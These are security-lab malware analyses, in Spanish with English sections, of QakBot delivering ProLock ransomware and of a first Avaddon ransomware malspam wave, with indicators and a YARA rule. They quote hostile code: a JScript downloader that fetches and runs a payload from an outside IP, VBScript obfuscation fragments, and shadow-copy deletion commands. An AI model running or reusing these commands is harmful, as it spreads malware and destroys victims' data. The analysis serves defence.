Distribución de ProLock mediante QakBot: son solo negocios, no es nada personal

Distribución de ProLock mediante QakBot: son solo negocios, no es nada personal

Resumen

El FBI y la agencia alemana CERT-Bund [1][2] advierten de que el malspam QakBot está distribuyendo el ransomware ProLock.

QakBot se distribuye por correo electrónico. En la campaña descrita se envían correos con un enlace a un archivo ZIP. Este archivo ZIP contiene a su vez un archivo VBScript que descarga el paquete de QakBot en los ordenadores de las víctimas. A partir de ahí, los operadores de QakBot pueden descargar el ransomware ProLock.

El ransomware ProLock emplea RC6 para cifrar archivos en el ordenador de sus víctimas, dejando sin cifrar los primeros 8 KiB de todos los archivos. Luego añade una extensión .proLock a los archivos cifrados y deja una nota de secuestro diciendo que no es «[n]ada personal, solo negocio» y dando instrucciones sobre cómo pagar el rescate. Sin embargo, el ransomware también elimina determinados archivos con las extensiones .bac o .bak, por lo que las víctimas pierden esos archivos incluso si pagan.

Detalles

QakBot (también conocido como QBot, QuakBot o Pinkslipbot) lleva en activo desde 2008. El ransomware ProLock es relativamente nuevo. Hemos compuesto una cronología de acontecimientos recientes relativos a estos dos programas de malware:

Acontecimientos recientes sobre QakBot

ProLock es un ransomware que fue observado por primera vez a finales de 2019. Por aquel entonces se llamaba PwndLocker. Sin embargo, PwndLocker contenía un fallo que permitía a las víctimas descifrar sus archivos sin pagar el rescate. Por tanto, en 2020, resolvió el fallo y cambió su nombre por ProLock.

Aunque ProLock suele obtener acceso a sus víctimas a través de RDP, recientemente se ha distribuido mediante QakBot, de un modo similar a como Emotet distribuye ransomware.

Análisis técnico

Este análisis comienza con una descripción de algunos pasos de la cadena de infección mediante QakBot observada. Los pasos más relevantes e interesantes se describen en el diagrama de flujo de abajo.

Cadena de infección de QakBot

La infección inicial emplea un correo con un enlace a un archivo ZIP. El archivo ZIP contiene un archivo VBScript que descarga el paquete de QakBot. Al igual que Emotet, Qakbot es capaz de descargar otro malware. El último que está distribuyendo, y que ha sido objeto de numerosas advertencias por parte de organismos gubernamentales, es el ransomware ProLock.

La segunda parte de este artículo contiene una vista general del funcionamiento interno del nuevo ransomware ProLock.

Correo

La campaña observada se dirigía al público alemán y estaba basada en el secuestro de conversaciones, con los correos de QakBot respondiendo a conversaciones de correo obtenidas de anteriores víctimas. Los interlocutores de dichas víctimas previas recibían entonces un correo con un enlace como el siguiente:

Variante de correo inicial

La sección inferior del correo (que no aparece en la imagen) contiene el hilo de conversación secuestrado.

Tras esta campaña se han observado muchas campañas diferentes, también en otros idiomas distintos al alemán.

Remitente

Como nombre visible, en el campo «From» del encabezado RFC 5322, los correos muestran el nombre visible del interlocutor con el que se mantiene el hilo de conversación secuestrado. La dirección mostrada en el campo «From» es la dirección real del remitente. De este modo, los correos son capaces de pasar las comprobaciones SPF y DKIM.

Para ilustrarlo, imaginémosnos que una tal Alice ha participado en una conversación con un tal Bob Doe. El hilo de conversación es secuestrado cuando Alice se contagia de QakBot. El campo «From» del encabezado RFC 5322 de los correos robados es Bob Doe <bob@example.com>. Ahora, el ordenador de Alice envía el malspam QakBot. En tal caso, los correos se enviarán con el siguiente campo «From»: Bob Doe <alice@example.org>.

En caso de que no haya nombre visible, será la dirección de correo la que se use directamente como nombre visible en el campo «From» del encabezado RFC 5322. Este comportamiento se observa en algunos correos. He aquí un ejemplo:

Variante de correo inicial

Horquilla de tiempo

A juzgar por las fechas de las conversaciones de correo secuestradas, es posible concluir que los correos robados son en su mayoría recientes, es decir, que los hilos solo llevaban algunos días abiertos cuando se emplearon en los ataques. Sin embargo, a diferencia de Emotet, los artífices de esta operación de malspam parecen no limitar su secuestro a correos recientes. También hemos observado correos adhiriéndose a conversaciones de 2015.

El señuelo

Los correos intentan inducir a las víctimas a descargar desde un enlace etiquetado ANHANG ZUM DOWNLOAD («Enlace de descarga») conminándolo a revisar o comentar el documento al que apunta el enlace de descarga con diferentes frases. En campañas anteriores en lengua inglesa, el texto del enlace era ATTACHMENT DOWNLOAD. He aquí algunos ejemplos:

Variante de correo inicial

Variante de correo inicial

Variante de correo inicial

Aunque el conjunto de frases parece ser limitado (ya que hemos observado repeticiones), la formulación es completamente genérica y puede sustituirse por cualquier otra en cualquier momento. Esto permite inyectar estos correos en prácticamente cualquier hilo de conversación.

El enlace conduce a un archivo ZIP que contiene un archivo VBScript.

El archivo VBScript

Aunque el archivo VBScript parece tener un tamaño de cerca de 37 MiB (38045309 Bytes), está inflado a base de ceros:

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
[...]
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|
0244867d
(FIN)

El código VBScript en sí tan solo ocupa unos 200 KiB o el 0,5% del archivo. Es probable que esto se haga para evitar la detección, pues algunos sistemas renuncian a analizar archivos que sobrepasen determinado límite de tamaño.

El script emplea técnicas de evasión, anti-debugging y ofuscación.

Solo expondremos las partes más interesantes del script.

Evasión

El script espera 30000 ms:

[...]
ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
[...]
WScript.Sleep ozcHEG
[...]

Esto probablemente una técnica dinámica de evitación de análisis. Algunos sistemas de análisis emplean temporizadores para reducir el tiempo de análisis y deciden si una muestra es maliciosa o no en base a las acciones que ésta realice antes de que finalice el temporizador.

Supresión de errores

El script emplea On Error Resume Next en cada función. Esto ordena al programa continuar con su siguiente orden incluso si ocurre un error.

Ofuscación

Sustitución de cadenas

El script utiliza una técnica habitual de sustitución de cadenas para ofuscar las cadenas realmente utilizadas en el script. El código

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))

se convierte en

set o=CreateObject("wscript.shell")

Esta técnica se emplea en múltiples puntos del script.

Concatenación de caracteres

El enlace emplea concatenación de caracteres para formar cadenas mediante invocaciones individuales de la función chr(). El código

qtcqQ=chr(87)&chr(105)&chr(110)&chr(77)&chr(103)&chr(109)&chr(116)&chr(115)&chr(58)&chr(123)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(105)&chr(111)&chr(110)&chr(76)&chr(101)&chr(118)&chr(101)&chr(108)&chr(61)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(101)&chr(125)&chr(33)&chr(92)&chr(92)&chr(46)&chr(92)&chr(114)&chr(111)&chr(111)&chr(116)&chr(92)

se convierte en

qtcqQ="WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\"

Esta técnica se emplea en múltiples puntos del script.

Cifrado XOR

El script emplea una cadena de caracteres muy larga (definida al principio). Nosotros la hemos renombrado a LARGE_STRING. Esta gran cadena de caracteres se transforma 3 veces mediante una función que utiliza el algoritmo de cifrado XOR para descifrar las URLs de descarga y los nombres de los archivos ejecutables. Las claves XOR se obtienen de una cadena más pequeña a la que hemos llamado xor_key_selection_string, obtenida mediante corte:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
[...]
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
[...]
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(Los nombres de las variables xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING y LARGE_STRING han sido introducidos por el analista para entender mejor la lógica del programa. En el código original, los nombres eran secuencias de caracteres aleatorias.)

Conexión de red

El script envía solicitudes GET a 5 URLs diferentes:

Captura de red de Wireshark

El código VBScript code responsable de las solicitudes GET se encuentra dentro del siguiente bucle for:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Observación: Hemos utilizado una herramienta para normalizar la sangría del código.)

El agente de usuario está incluido en el script mediante hard coding. Se trata de una secuencia de letras con mayúscula inicial escrita dos veces seguidas, como aquí:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

Si bien las secuencias en sí son aleatorias y varían de una muestra a otra, se trata siempre de una secuencia escrita dos veces (p. ej., LamodaLamoda).

El parámetro uid de la cadena de consulta es una cadena de caracteres codificada en Base64 que indica las versiones del antivirus del sistema y de Windows.

Parámetro uid descodificado

Esta información se obtiene mediante dos consultas WMI:

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")

y

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Obviamente, el código de estas dos consultas estaba ofuscado y ocupaba varias líneas.)

Descarga y ejecución del paquete de QakBot

La misma consulta GET que envía el parámetro uid recibe un archivo PE como respuesta:

El script lo guarda como %userprofile%\AppData\Local\Temp\PicturesViewer.exe y ejecuta el ejecutable:

El código correspondiente en el archivo VBScript se encuentra dentro del bucle for de la consulta GET mencionada. En primer lugar, comprueba el readyState. Si la solicitud está en estado DONE (readyState = 4), comprueba si el tamaño de cuerpo de la respuesta es diferente de 0 y, por último, si el contenido de la respuesta comienza por MZ:

[...]
If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
[...]
                        .Write ms.responseBody
[...]
                        execute RryLCg(6)
[...]

Ahora, el paquete de QakBot descargado está en ejecución, y con esto finaliza el script de descarga.

QakBot

QakBot está empaquetado y se desempaqueta en memoria durante su ejecución. En primer lugar, se ejecuta a sí mismo con la bandera opcional /C. Esto ordena al binario de QakBot a realizar pruebas para comprobar si se está ejecutando dentro de una sandbox. A continuación, se ejecuta mediante una tarea programada empleando schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\". Esto permite al bot aumentar sus privilegios. A continuación, se inyecta en explorer.exe mediante vaciado de procesos (mediante CREATE_SUSPENDED). Seguidamente obtiene persistencia mediante claves de registro (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), así como mediante una tarea programada (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5).

Después de esto, QakBot consulta www.ip-address.com para obtener la IP externa del sistema infectado. Finalmente, en la parte determinista de su cadena de ejecución, establece comunicación con los servidores de control (proxy).

Esto permite a Qakbot, al igual que Emotet, cargar otros módulos, así como malware adicional. En este caso, QakBot descarga y ejecuta ProLock.

Antes de pasar a analizar ProLock, echemos un vistazo al origen de las IPs de los servidores de control de QakBot.

Control y comando

Las IPs de los servidores de control proceden principalmente de los Estados Unidos y, en mucha menor medida, de Rumanía. Sin embargo, la distribución de las procedencias puede variar ligeramente de campaña a campaña.

La campaña de distribución con la etiqueta spx128, por ejemplo, tenía un tercer cluster de IPs en México.

Distribución de servidores de control por países

Por otra parte, la campaña de distribución con la etiqueta spx116 y un señuelo en alemán presenta un mayor número de IPs procedentes de Europa:

Distribución de servidores de control por países

Sin embargo, en general, los países de habla inglesa parecen ser el principal lugar de procedencia de las IPs. La distribución indica que QakBot estaba centrado principalmente en países de habla inglesa. Sin embargo, como nos muestra la campaña contra Alemania, es posible que ahora esté cambiando de estrategia para convertir a QakBot en una operación más global a semejanza de Emotet.

En caso de que el origen de las IPs de servidores de control se adaptase al país atacado, sería de esperar un mayor número de IPs alemanas. Por tanto, no se sabe a ciencia cierta si el cambio observado en campañas enfocadas en Alemania es una simple coincidencia y los responsables de QakBot simplemente carecen de un número significativo de IPs de control europeas.

La lista de IPs de servidores de control cambia con mucha frecuencia.

ProLock

Como ya hemos indicado, varios organismos gubernamentales están advirtiendo que QakBot está distribuyendo la nueva variante de PwndLocker llamada ProLock. Por tanto, repasaremos ahora brevemente los principales hallazgos relativos al nuevo ransomware ProLock.

Por fuentes de acceso público, se sabe que la variante actual de ProLock se envía oculta dentro de un archivo de imagen llamado WinMgr.bmp. La imagen es completamente negra, salvo por algunos píxeles blancos. Es en estos píxeles donde se oculta el código binario de ProLock.

ProLock en WinMgr.bmp

Desde allí, ProLock se carga en memoria y se ejecuta mediante PowerShell.

Cargador de PowerShell

El código del cargador de PowerShell es el siguiente:

Cargador de ProLock para PowerShell

(Fuente de la imagen: [3])

Dependiendo del tamaño del puntero ([IntPtr]::size, es decir, de la longitud de palabra en el sistema operativo), PowerShell escribe los datos en memoria en las direcciones 0xA230 (32 bits) o 0xD7A0 (64 bits) y los ejecuta.

A continuación describiremos la variante de 32 bits.

Desempaquetado

En primer lugar, un código auxiliar desempaqueta la carga útil:

Código auxiliar de ProLock para desempaquetar la carga útil.

El desempaquetamiento emplea un sencillo algoritmo de cifrado XOR con el offset 0xa27f (en WinMgr.bmp) y la clave 0x09b1a2dc.

El shellcode de la carga útil desempaquetada recorre el PEB a partir de FS:[0x30] para obtener una lista de los módulos cargados. Calcula el hash de los nombres de las DLLs y los compara contra un hash de KERNEL32.DLL. De este modo obtiene la dirección de kernel32.dll. A continuación, obtiene las direcciones de LoadLibraryA, GetProcAddress y VirtualAlloc recorriendo el directorio de exportación de kernel32.dll, calculando el hash de los nombres de las funciones que contiene y comparándolas con una lista de hashes de las funciones correspondientes:

ProLock determina las direcciones de bibliotecas dinámicas y funciones.

A lo largo del código se emplean secuencias de call label; db 'string'; label: ... para cargar en memoria direcciones de cadenas de caracteres.

ProLock cargando cadenas de caracteres en 32 bits.

Observación: En la versión de 64 bits se emplea el direccionamiento relativo al contador de programa (no disponible en la versión de 32 bits).

Con las cadenas de caracteres cargadas se determinan las direcciones de otras bibliotecas y funciones y se almacenan en memoria.

Preparación

A continuación, ProLock procede a eliminar los siguientes archivos mediante DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock eliminando archivos

Desconecta todas las conexiones a recursos compartidos, salvo a los ocultos.

ProLock eliminando conexiones a recursos compartidos salvo los ocultos.

Enumera los procesos en ejecución con ayuda de las funciones CreateToolhelp32Snapshot y Process32{First,Next}:

ProLock enumerando procesos.

Los seis primeros caracteres de cada nombre de proceso se buscan en una lista.

Lista de detención de procesos de ProLock.

Si encuentra un proceso en la lista,

ProLock deteniendo procesos de su lista

se invoca taskkill.exe /F /IM mediante ShellExecuteA:

ProLock deteniendo procesos de su lista

Los procesos buscados y detenidos empiezan por las siguientes secuencias: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

A continuación se emplea net.exe stop "<service>" /y para detener una larga lista de servicios:

Lista de detención de servicios de ProLock.

Los servicios de la lista de detención de servicios de ProLock corresponden a productos de seguridad, así como a sistemas de bases de datos y copia de seguridad que podrían tener bloqueados archivos por tenerlos abiertos, impidiendo al ransomware cifrarlos.

Los servicios buscados son CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS, y ReportServer$TPSAMA.

Por último, ProLock emplea los siguientes comandos para eliminar instantáneas de volúmenes:

Comandos vssadmin.exe de ProLock.

Comandos vssadmin.exe de ProLock.

Los comandos se pasan a vssadmin.exe, invocado a su vez mediante ShellExecuteA:

ProLock invoca vssadmin.exe.

ProLock invoca vssadmin.exe.

ProLock enumera todas las letras de unidad para la eliminación de instantáneas de volúmenes, salvo las correspondientes a unidades de CD-ROM (DRIVE_CDROM):

ProLock excluyendo las unidades de CD-ROM de la eliminación de instantáneas de volúmenes.

El secuestro

ProLock parece no cifrar los primeros 8 KiB de los archivos. Por tanto, los archivos con un tamaño inferior a 8 KiB no se cifran en absoluto ni reciben la extensión .proLock.

Los archivos y directorios se procesan en base a varias listas de archivos:

Listas de archivos y directorios de ProLock.

ProLock evita archivos con las extensiones .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf y .cmd.

Los archivos con extensión .bac o .bak se eliminan.

ProLock tampoco recorre directorios con los nombres $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps o Uninstall Information. Tampoco se visitan los siguientes directorios del directorio de perfil: Adobe, Microsoft, Microsoft_Corporation, Packages y Temp.

ProLock utiliza múltiples subprocesos. Hay una función dentro de un subproceso que atraviesa las estructuras de directorios. Otras funciones dentro de otros subprocesos se ocupan de cifrar y renombrar los archivos:

ProLock ejecutando varios subprocesos para cifrar archivos.

Para el cifrado, ProLock emplea la instrucción RDTSC del procesador para obtener números aleatorios con los que genera, a continuación, la clave de cifrado:

Función de ProLock para obtener números aleatorios.

Los archivos en sí parecen estar cifrados con RC6. La función de planificación de claves de RC6 puede identificarse por las constantes de RC6 0xb7e15163 y 0x9e3779b9, así como por el típico bucle for con cuenta hasta 44 para inicializar la estructura de la clave hallado en el código del malware:

Función RC6_set_key de ProLock.

Tras el cifrado se añade una extensión .proLock al final del nombre de cada archivo cifrado:

ProLock añadiendo la extensión .proLock.

Durante el recorrido de directorios y antes del cifrado, ProLock deposita un archivo llamado [HOW TO RECOVER FILES].TXT («Cómo recuperar los archivos») con su nota de secuestro en cada directorio. A continuación se ofrece una traducción (puede ver la nota original inglesa en la versión inglesa de esta página):

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser: https://www.torproject.org/
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email chec1kyourf1les@protonmail.com.

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Lógicamente, el que no se trate de «[n]ada personal, solo negocios» no supone ningún consuelo para las víctimas.

No hemos observado ninguna conexión a red en la muestra de ProLock analizada. Sin embargo, no hemos analizado la cadena completa hasta la ejecución de la muestra de ProLock. Es posible que los delincuentes empleen malware de sustracción de datos antes de emplear el ransomware ProLock. Por tanto, la amenaza de «compartir» «datos sensibles» podría ser real.

Conclusión y soluciones

No debe pagarse ningún rescate. En el pasado, ProLock, bajo el nombre de PwndLocker, tuvo problemas con su sistema de descifrado, impidiendo a las víctimas descifrar sus archivos. El FBI ha expresado reservas similares respecto a la última versión. Además, como este análisis ha demostrado, los archivos con extensión .bac o .bak no se cifran, sino que se eliminan, con lo que la pérdida de datos sería significativa incluso si la víctima paga.

Es preciso tener copias de seguridad en lugares inaccesibles para el ransomware.

Spam and Malware Protection de Hornetsecurity bloquea los patrones y URLs conocidos de los correos de QakBot.

Advanced Threat Protection de Hornetsecurity, con la función URL Rewriting, sustituye las URLs de los correos por URLs seguras. Al hacer clic, el usuario es guiado a la página web a través del proxy ATP de Hornetsecurity, que analiza contenidos descargables y bloquea el acceso a malware. Esto protege frente al enlace malicioso del correo inicial, impidiendo la descarga del archivo VBScript de QakBot desde el primer momento.

Bibliografía

Indicadores de Compromiso (IOCs)

Hashes

SHA256Nombre de archivoDescripción
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61dDarlehensvertrag_8378051_19052020.vbsArchivo VBScript de descarga de QakBot
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5888888.pngMuestra de paquete de QakBot
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0Winmgr.bmpBMP con shellcode de ProLock como carga útil

Firmas

YARA

rule prolock_decoder_stub
{
    meta:
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
    strings:
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
    condition:
        any of ($decoder_stub_*)
}
Avaddon: de buscar afiliados, al primer ciberataque en dos días

Avaddon: de buscar afiliados, al primer ciberataque en dos días

Resumen

El  3 de junio de 2020 se informó [1] que un nuevo programa de ransomware, que se llamaba Avaddon, estaba buscando socios para afiliarse a su programa, es decir, alguien que instalara el ransomware en los sistemas de las víctimas. Sólo dos días más tarde, el 5 de junio de 2020, se observó malspam distribuyendo el ransomware de Avaddon.

Este artículo resume brevemente – según lo observado por el Security Lab de Hornetsecurity – la primera ola de malspam que distribuye el ransomware de Avaddon.

 

Antecedentes

El correo electrónico inicial del ransomware de Avaddon utiliza como cebo una imagen falsa:

Initial email

 

El archivo ZIP adjunto contiene un archivo JSript que al ser ejecutado descargará y ejecutará el ransomware binario de Avaddon:

Content of ZIP

 

Debido a los términos técnicos utilizados, la evaluación del análisis se realizará en inglés.

Technical Analysis

In the following we will analyze the malicous email, the JScript downloader, and last but not least the downloaded Avaddon ransomware binary.

Emails

Emails are send from <name>[0-9]{2}@[0-9]{4}.com sender email addresses. Most of the four number dot com domains ([0-9]{4}.com) are parked domains without any SPF records, hence, blocking on policy grounds is not possible.

The malspam distributing Avaddon ransomware started on 2020-06-04 at around 14:00:00 UTC and are still lasting while writing this report:

Avaddon ransomware malspam wave timeline

The observed wave seems to target CA (Canada):

Avaddon ransomware wave recipient countries

The recipient industries seem to indicate a focus on education institutions at the receiving end of this wave:

Avaddon ransomware wave recipient industries

However, because this is only data from the first wave this should not be interpreted as the final targeting of the Avaddon ransomware.

JScript Downloader

The IMG000000.jpg.js.zip attachment contains the IMG000000.jpg.js JScript downloader:

Avaddon IMG000000.jpg.js JScript downloader

The Avaddon downloader script is simply:

var jsRun=new ActiveXObject('WSCRIPT.Shell');
jsRun.Run("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp[:]//217.8.117[.]63/sava[.]exe','%temp%\\5203508738.exe');Start-Process '%temp%\\5203508738.exe'",false);
jsRun.Run("cmd.exe /c bitsadmin /transfer getitman /download /priority high hxxp[:]//217.8.117[.]63/sava[.]exe %temp%\\237502353.exe&start %temp%\\237502353.exe", false);

It uses both PowerShell and the BITSAdmin tool to download the sava.exe Avaddon ransomware file to %temp%\\5203508738.exe and %temp%\\237502353.exe respectively and execute it:

Avaddon ransomware downloader process tree

Avaddon Ransomware sava.exe

The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. Imports are freely accessible. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key:

Avaddon ransomware generating AES key

Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet.

After encryption the Avaddon ransomware changes the desktop background notifying the victim that files have been encrypted and where the instructions to pay the ransom are located:

Avaddon ransomware desktop background

The Avaddon ransomware leaves a file named [0-9]+-readme.html in every directory it encrypts. This file contains the instructions and an .onion link to the ransomware panel:

Avaddon ransomware ransom note

